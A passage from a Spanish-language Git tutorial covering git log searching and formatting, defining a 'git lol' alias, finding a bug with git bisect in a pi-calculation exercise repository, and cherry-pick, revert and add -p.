</code></pre><p>devuelve la confirmación con el mensaje "Commit 12".</p><h4 id="por-contenido-de-diff">Por Contenido de Diff</h4><p>Este es super útil, y me ha salvado incontables veces. Al usar <code>git log -S</code>, puedes buscar confirmaciones que introducen o quitan una línea en particular del código fuente.</p><p>Esto es práctico, por ejemplo, cuando sabes que has creado algo en el repo, pero no sabes dónde está ahora. No puedes encontrarlo en ningún lugar de tu sistema de archivos (no está en el <code>HEAD</code>), y sabes que debe estar ahí - acechando en algún lugar en esta librería (montón de confirmaciones) que tienes.</p><p>Digamos que recuerdo dónde escribí una línea con el texto <code>Git is awesome</code>, pero no puedo encontrarlo ahora. Podría ejecutar:</p><pre><code class="language-bash">git log --all -S"Git is awesome"
</code></pre><p>Fíjate que usé <code>--all</code> para evitar limitarme a confirmaciones alcanzables desde el <code>HEAD</code>.</p><p>También puedes buscar una expresión regular, usando <code>-G</code>:</p><pre><code class="language-bash">git log --all -G"Git .* awesome"
</code></pre><h3 id="formateando-el-log">Formateando el Log</h3><p>Considera la salida predeterminada de <code>git log</code> nuevamente:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_1-1.png" class="kg-image" alt="The output of  without additional switches" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> without additional switches</figcaption></figure><p>El log comienza desde el <code>HEAD</code>, y sigue la cadena de antecesores.</p><p>Cada entrada del log comienza con una línea con <code>commit</code> y luego el SHA-1 de la confirmación, tal vez seguida de punteros adicionales que apuntan a esta confirmación.<br>Luego es seguido por el autor, fecha, y mensaje de confirmación.</p><h4 id="-oneline"><strong><code>--oneline</code></strong></h4><p>La principal dificultad con la salida predeterminada de <code>git log</code> es que es difícil de entender un historial con más de unas pocas confirmaciones, ya que simplemente no los ves a todos.</p><p>En la salida de <code>git log</code> que se muestra abajo, solamente cuatro objetos de confirmación aparecieron en mi pantalla. Usando <code>git log --oneline</code> provee una vista más concisa, mostrando el SHA-1 de la confirmación, al lado de su mensaje, y referencia nombradas si son relevantes:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_5.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline</code></figcaption></figure><p>Si deseas omitir las referencias nombradas, puedes agregar el conmutador <code>--no-decorate</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_6.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline --no-decorate</code></figcaption></figure><p>Para pedirle a <code>git log</code> explícitamente que muestre decoraciones, puedes usar <code>git log --decorate</code>.</p><h4 id="-graph"><strong><code>--graph</code></strong></h4><p><code>git log --oneline</code> muestra una representación compacta. Eso es genial cuando tenemos un historial linear, tal vez en una sola rama. Pero, ¿qué sucede cuando tenemos múltiples ramas, que podría diferir uno del otro?</p><p>Considera la salida del siguiente comando en mi repositorio:</p><pre><code class="language-bash">git log --oneline feature_branch_1 feature_branch_2
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_7.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline feature_branch_1 feature_branch_2</code></figcaption></figure><p><code>git log</code> muestra cualquier confirmación accesible por <code>feature_branch_1</code>, <code>feature_branch_2</code>, o ambos. Pero, ¿cómo se ve el historial? ¿<code>feature_branch_2</code> difirió de <code>feature_branch_1</code>? ¿O difirió de <code>main</code>? Es imposible distinguirlo desde esta vista.</p><p>Aquí es donde <code>--graph</code> viene a mano, dibujando un gráfico ASCII representando la estructura de la rama del historial de confirmaciones. Si agregamos esta opción al comando previo:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_8.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline --graph feature_branch_1 feature_branch_2</code></figcaption></figure><p>En realidad puedes <em>ver</em> que <code>feature_branch_1</code> se creó desde <code>main</code> (ya que "Commit 12", <code>main</code>, es el antecesor de "Commit 13"), y también que <code>feature_branch_2</code> se creó desde <code>main</code> (ya que el antecesor de "Commit 14" también es "Commit 12").</p><p>El símbolo <code>*</code> nos dice "en" qué rama está una cierta confirmación, así sabes con certeza que "Commit 13" está en <code>feature_branch_1</code>, y no en <code>feature_branch_2</code>.</p><h4 id="-pretty-format"><strong><code>--pretty=format</code></strong></h4><p>El resultado de arriba, ¡ya es muy útil! Aunque, le falta un par de cosas. No sabemos el autor o el tiempo de la confirmación. Estos dos detalles fueron incluidos en la salida predeterminada de <code>git log</code> el cual fue muy largo. Tal vez, ¿los podemos agregar de una forma más compacta?</p><p>Al usar <code>--pretty=format:</code>, puedes mostrar la información de cada confirmación en varias formas usando marcadores de posición al estilo de <code>printf</code>.</p><p>En el siguiente comando, los marcadores de posición <code>%s</code>, <code>%an</code> y <code>%cd</code> son reemplazados por el sujeto de la confirmación (mensaje), nombre de autor, y la fecha de la confirmación, respectivamente.</p><pre><code class="language-bash">git log --oneline --graph feature_branch_1 feature_branch_2 --pretty=format:"%s (%an) [%cd]"
</code></pre><p>La salida luce así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_9.png" class="kg-image" alt="git_log_9" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline --graph feature_branch_1 feature_branch_2 --pretty=format:"%s (%an) [%cd]</code></figcaption></figure><p>Eso es útil, pero no bueno al mirarlo. Entonces podemos usar otros trucos de formateo, específicamente <code>%C(color)</code> que cambiará el color a <code>color</code>, hasta que alcance un <code>%Creset</code> que resetea el color. Para hacer que el nombre del autor sea amarillo, puedes usar:</p><pre><code class="language-bash">git log --oneline --graph feature_branch_1 feature_branch_2 --pretty=format:"%s %C(yellow)(%an)%Creset [%cd]"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_10.png" class="kg-image" alt="git_log_10" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline --graph feature_branch_1 feature_branch_2 --pretty=format:"%s %C(yellow)(%an)%Creset [%cd]"</code></figcaption></figure><p>Para algunos colores, como <code>rojo</code> o <code>verde</code>, es innecesario incluir el paréntesis, así que <code>rojo</code> es suficiente.</p><h3 id="-c-mo-se-estructura-git-lol">¿Cómo se estructura <code>git lol</code>?</h3><p>Cuando ejecuto <code>git lol</code>, en realidad ejecuta lo siguiente:</p><p><code>git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit</code></p><p>¿Puedes tomar esto poco a poco?</p><p>Ya conoces <code>--graph</code>, el cual hace que la salida incluya un gráfico ASCII.</p><p><code>--abbrev-commit</code> usa un prefijo corto del SHA-1 completo de la confirmación (en mi configuración, los siete primero caracteres).</p><p>El resto es sólo el coloreamiento de varios detalles sobre la confirmación:</p><pre><code class="language-bash">git lol --all
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_11.png" class="kg-image" alt="git_log_11" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol --all</code></figcaption></figure><p>Me gusta esta salida porque lo encuentro claro. Me da la información que necesito, con colores suficientes así cada detalles se destaca sin lastimar mis ojos. Pero si prefieres otra información, otros colores, un diferente orden, o cualquier cosa - adelante y ajústalo a tu gusto.</p><h3 id="definiendo-un-alias">Definiendo un alias</h3><p>Como sabes, defino a <code>git lol</code> como un alias - eso es, cuando ejecuto <code>git lol</code>, ejecuta el comando largo que proveí anteriormente.</p><p>¿Cómo puedes crear un alias en Git?</p><p>La forma mas fácil es usar <code>git alias</code>, así:</p><pre><code class="language-bash">git config --global alias.co checkout
</code></pre><p>Este comando pone <code>co</code> para que sea un alias para el comando <code>checkout</code>, así puedes usar <code>git co main</code> en vez de <code>git checkout main</code>.</p><p>Para definir <code>git lol</code> como un alias, puedes usar:</p><pre><code class="language-bash">git config --global alias.lol 'log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit'
</code></pre><!--kg-card-begin: html--><h2 id="cap-13">Capítulo 13 - Git Bisect</h2><!--kg-card-end: html--><p>Ups.</p><p>Tengo un error.</p><p>Sí, sucede a veces, a todos nosotros. Algo en mi sistema está roto, y no puedo distinguir por qué. He estado depurando por un rato, pero la solución no está clara.</p><p>Puedo decir que dos semanas atrás, esto no sucedió. Afortunadamente para mí, he estado usando Git (obviamente lo sé...), así que puedo volver en el tiempo y probar una versión anterior de mi código. En efecto, en esta versión - todo funcionó bien.</p><p>Pero... he hecho muchos cambios en estas dos semanas. Ay, no solo yo - mi equipo completo ha contribuido con confirmaciones que agregan, eliminan, o modifican partes del código base. ¿Por dónde comienzo? ¿Debería ir por cada cambio introducido en esas dos semanas?</p><p>Ingresa - <code>git bisect</code>.</p><p>El objetivo de <code>git bisect</code> es ayudarte a encontrar la confirmación donde un error fue introducido, de una manera efectiva.</p><h3 id="-c-mo-funciona-git-bisect">¿Cómo funciona <code>git bisect</code>?</h3><p><code>git bisect</code> primero te pide que marques una confirmación como "mala" (donde el error ocurre), y otra confirmación como "buena" (una sin el error). Luego, verifica una confirmación a medio camino entre estas dos confirmaciones, y luego te pide que identifiques la confirmación como "buena" o "mala". Este proceso se repite hasta que encuentres la primer confirmación "mala".</p><p>La clave aquí es usar la búsqueda binaria - mirando al punto a medio camino y decidir si es la nueva punta o el piso de la lista de confirmaciones, puedes encontrar la confirmación correcta de forma eficiente. Inclusive si tienes 10,000 confirmaciones que cazar, solamente toma un máximo de 13 pasos para encontrar la primer confirmación que introdujo el error.</p><h3 id="ejemplo-de-git-bisect">Ejemplo de <code>git bisect</code></h3><p>Para este ejemplo, usaré el repositorio en <a href="https://github.com/Omerr/bisect-exercise.git">https://github.com/Omerr/bisect-exercise.git</a>. Para crearlo, adaptaré el repositorio de código abierto <a href="https://github.com/bast/git-bisect-exercise">https://github.com/bast/git-bisect-exercise</a> (acorde a su licencia).</p><p>En este repositorio, tenemos un archivo python sencillo que se usa para calcular el valor de pi (el cual es aproximadamente <code>3.14</code>). Si ejecutas <code>python3 get_pi.py</code> en el <code>main</code>, sin embargo, obtendrás un resultado erróneo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/bisect_1.png" class="kg-image" alt="A wrong result, we have a bug" width="600" height="400" loading="lazy"><figcaption>A wrong result, we have a bug</figcaption></figure><p>Esta rama consiste de más de 500 confirmaciones.</p><p>Encuentra la primer confirmación en esta rama usando:</p><pre><code class="language-bash">git log --oneline | tail -n 1
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/bisect_2.png" class="kg-image" alt="bisect_2" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log --oneline | tail -n 1</code></figcaption></figure><p>Si ejecutas <code>checkout</code> para esta confirmación y ejecutas <code>python3 get_pi.py</code> nuevamente, el resultado es correcto:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_1_pi.png" class="kg-image" alt="From the first commit, the result is valid" width="600" height="400" loading="lazy"><figcaption>From the first commit, the result is valid</figcaption></figure><p>Así que en algún lugar entre el <code>HEAD</code> y la confirmación <code>f0ea950</code>, un cambio fue introducido que resultó en esta salida errónea.</p><p>Para encontrarlo usando <code>git bisect</code>, <code>comienza</code> el proceso de bisect, y marca esta confirmación como "buena":</p><pre><code class="language-bash">git bisect start
git bisect good
</code></pre><p>Por defecto, <code>git bisect good</code> tomaría el <code>HEAD</code> como la confirmación "buena". Para marcar a <code>main</code> como "mala", puedes usar <code>git bisect bad main</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/bisect_3.png" class="kg-image" alt="bisect_3" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git bisect bad main</code></figcaption></figure><p><code>git bisect</code> comprobó el número de confirmación <code>251</code>, el "punto medio" de la rama <code>main</code>. ¿El estado de esta confirmación produce la saluda correcta o errónea?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/bisect_4.png" class="kg-image" alt="Trying again..." width="600" height="400" loading="lazy"><figcaption>Trying again...</figcaption></figure><p>Todavía obtenemos la salida errónea, lo cual significa que podemos descartar las confirmaciones <code>252</code> hasta el <code>500</code> (y confirmaciones adicionales después de ese), y acortar nuestra búsqueda desde la confirmación <code>2</code> hasta el <code>251</code>. Marca a éste como "mala":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/bisect_5.png" class="kg-image" alt="Mark as " width="600" height="400" loading="lazy"><figcaption>Mark as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">bad</code></figcaption></figure><p><code>git bisect</code> comprobó la confirmación "media" (número <code>126</code>), y ejecutando el código nuevamente resulta en la respuesta, ¡correcta! Esto significa que esta confirmación es "buena", y que la primer confirmación "mala" está en algún lugar entre <code>127</code> y <code>251</code>. Márcalo como "buena".</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/bisect_6.png" class="kg-image" alt="Mark as " width="600" height="400" loading="lazy"><figcaption>Mark as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">good</code></figcaption></figure><p>Genial, <code>git bisect</code> nos toma a la confirmación <code>188</code>, ya que esta es la confirmación "media" entre <code>127</code> y <code>251</code>. Al ejecutar el código nuevamente, puedes ver que el resultado es incorrecto, así que este es en realidad una confirmación "mala", lo que significa que la primer confirmación defectuosa se encuentre en algún lugar entre <code>127</code> y <code>188</code>. Como puedes ver, <code>git bisect</code> achica el espacio de búsqueda a la mitad en cada iteración.</p><p>Vamos, ahora es tu turno - ¡continúa desde aquí! Prueba el resultado de <code>python3 get_pi.py</code> y usa <code>git bisect good</code> o <code>git bisect bad</code> para marcar la confirmación según sea el caso. ¿Cuál es la confirmación defectuosa?</p><p>Cuando estés listo, usa <code>git bisect reset</code> para detener el proceso bisect.</p><h3 id="git-bisect-autom-tico"><code>git bisect</code> automático</h3><p>En el ejemplo previo, podrías simplemente ejecutar <code>pytho3 get_pi.py</code> y verificar el resultado. En otras veces, el proceso de validar si una cierta confirmación es "buena" o "mala" puede ser tramposo, propenso a errores, o solo lleva mucho tiempo.</p><p>Es posible automatizar el proceso de <code>git bisect</code> al crear código que debería ser ejecutado en cada iteración, devolviendo <code>0</code> cuando la confirmación actual es "buena", y un valor entre <code>1-127</code> (inclusivo), excepto <code>125</code>, si debería ser considerada "mala".</p><p>La sintaxis es:</p><pre><code class="language-bash">git bisect run my_script arguments
</code></pre><p>Ya que este libro no trata sobre programación y no se asume que conoces un lenguaje de programación específico, no mostraré un ejemplo de la implementación <code>my_script</code>. El archivo <code>README.md</code> en el repositorio usado en este capítulo (<a href="https://github.com/Omerr/bisect-exercise.git">https://github.com/Omerr/bisect-exercise.git</a>) incluye un ejemplo para un script que puedes ejecutar con <code>git bisect run</code> para encontrar automáticamente la confirmación defectuosa para el ejemplo previo.</p><!--kg-card-begin: html--><h2 id="cap-14">Capítulo 14 - Otros comandos útiles</h2><!--kg-card-end: html--><p>Este capítulo resalta algunos comandos que ya han sido mencionados en los capítulos anteriores. Los estoy poniendo aquí juntos así puedes revisarlos como una referencia cuando sea necesario.</p><h3 id="git-cherry-pick"><strong><code>git cherry-pick</code></strong></h3><p>Introducido en el <a href="#cap-8">capítulo 8</a>, este comando toma una confirmación dada, calcula el <strong>parche</strong> que esta confirmación introduce al calcular la diferencia entre la confirmación del antecesor y la confirmación misma, y luego <code>git bisect</code> "repite" esta diferencia. Es como "copiar-pegar" una confirmación, es decir, el diff de esta confirmación introducida.</p><p>En el <a href="#cap-8">capítulo 8</a> consideramos la diferencia introducida por el "Commit 5" (usando <code>git diff main &lt;SHA_OF_COMMIT_5&gt;</code>):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_commit_5-1.png" class="kg-image" alt="Running  to observe the patch introduced by &quot;Commit 5&quot;" width="600" height="400" loading="lazy"><figcaption>Running <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> to observe the patch introduced by "Commit 5"</figcaption></figure><p>Puedes ver que en esta confirmación, John comenzó a trabajar en una canción llamada "Lucy in the Sky with Diamonds":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_commit_5_output-1.png" class="kg-image" alt="The output of  - the patch introduced by &quot;Commit 5&quot;" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> - the patch introduced by "Commit 5"</figcaption></figure><p>Como recordatorio, también puedes usar el comando <code>git show</code> para obtener la misma salida:</p><pre><code class="language-bash">git show &lt;SHA_OF_COMMIT_5&gt;
</code></pre><p>Ahora, si haces <code>cherry-pick</code> a esta confirmación, introducirás <strong>este cambio</strong> específicamente, en la rama activa. Puedes cambiar a la rama <code>main</code>:</p><pre><code class="language-bash">git checkout main (or git switch main)
</code></pre><p>Y crear otra rama:</p><pre><code class="language-bash">git checkout -b my_branch (or git switch -c my_branch)
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_my_branch-1.png" class="kg-image" alt="Creating  that branches from " width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_branch</code> that branches from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Luego, haz <code>cherry-pick</code> al "Commit 5":</p><pre><code class="language-bash">git cherry-pick &lt;SHA_OF_COMMIT_5&gt;
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cherry_pick_commit_5-1.png" class="kg-image" alt="Using  to apply the changes introduced in &quot;Commit 5&quot; onto " width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">cherry-pick</code> to apply the changes introduced in "Commit 5" onto <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Considera el log (salida de <code>git lol</code>):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_lol_commit_5-1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol</code></figcaption></figure><p>Parece que <em>copiaste-pegaste</em> a "Commit 5". Recuerda que inclusive tiene el mismo mensaje de confirmación, e introduce los mismos cambios, e inclusive apunta al mismo objeto árbol como el "Commit 5" original en este caso - todavía es un objeto de confirmación distinto, ya que fue creado con una marca de tiempo distinto.</p><p>Mirando a los cambios, usando <code>git show HEAD</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_show_HEAD-3.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git show HEAD</code></figcaption></figure><p>Son los mismos como los de "Commit 5".</p><h3 id="git-revert-1"><strong><code>git revert</code></strong></h3><p><code>git revert</code> es esencialmente la reversa de <code>git cherry-pick</code>, introducido en el <a href="#cap-10">capítulo 10</a>. Este comando toma la confirmación con el que le estás proveyendo y calcula el diff desde su confirmación antecesora, así como <code>git cherry-pick</code>, pero esta vez, calcula los cambios de <em>reversa</em>. Eso es, si en la confirmación especificada agregaste una línea, la reversa eliminaría la línea, y vice versa.</p><h3 id="git-add-p"><strong><code>git add -p</code></strong></h3><p>Poniendo en el área de preparación los cambios es una parte integral de introducir cambios a Git. A veces, deseas poner en el área de preparación todos los cambios juntos (con <code>git add .</code>), o tal vez poner en stage todos los cambios de un archivo específico (usando <code>git add &lt;file_path&gt;</code>). Aunque hay veces donde sería conveniente poner en stage solamente ciertas partes de los archivos modificados.</p><p>En el <a href="#cap-6">capítulo 6</a>, introdujimos <code>git add -p</code>. Este comando te permite poner en stage ciertas partes de los archivos, al separarlos en pequeños trozos (<code>p</code> significa <code>parche</code>). Por ejemplo, digamos que tienes este archivo, <code>my_file.py</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/my_file_py_1.png" class="kg-image" alt="my_file_py_1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_file.py</code></figcaption></figure><p>Luego modificas este archivo - al cambiar el texto dentro de <code>function_1</code>, y también agregando una nueva función, <code>function_5</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/my_file_py_2.png" class="kg-image" alt=" after the changes" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_file.py</code> after the changes</figcaption></figure><p>Si usaste <code>git add my_file.py</code> a este punto, pondrías en el área de preparación ambos de estos cambios juntos. En caso de que quieras separarlos en confirmaciones distintas, podrías usar <code>git add -p</code>, el cual separa estos dos cambios y te pregunta sobre cada uno como un pedazo independiente:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/add_p_1.png" class="kg-image" alt="add_p_1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; 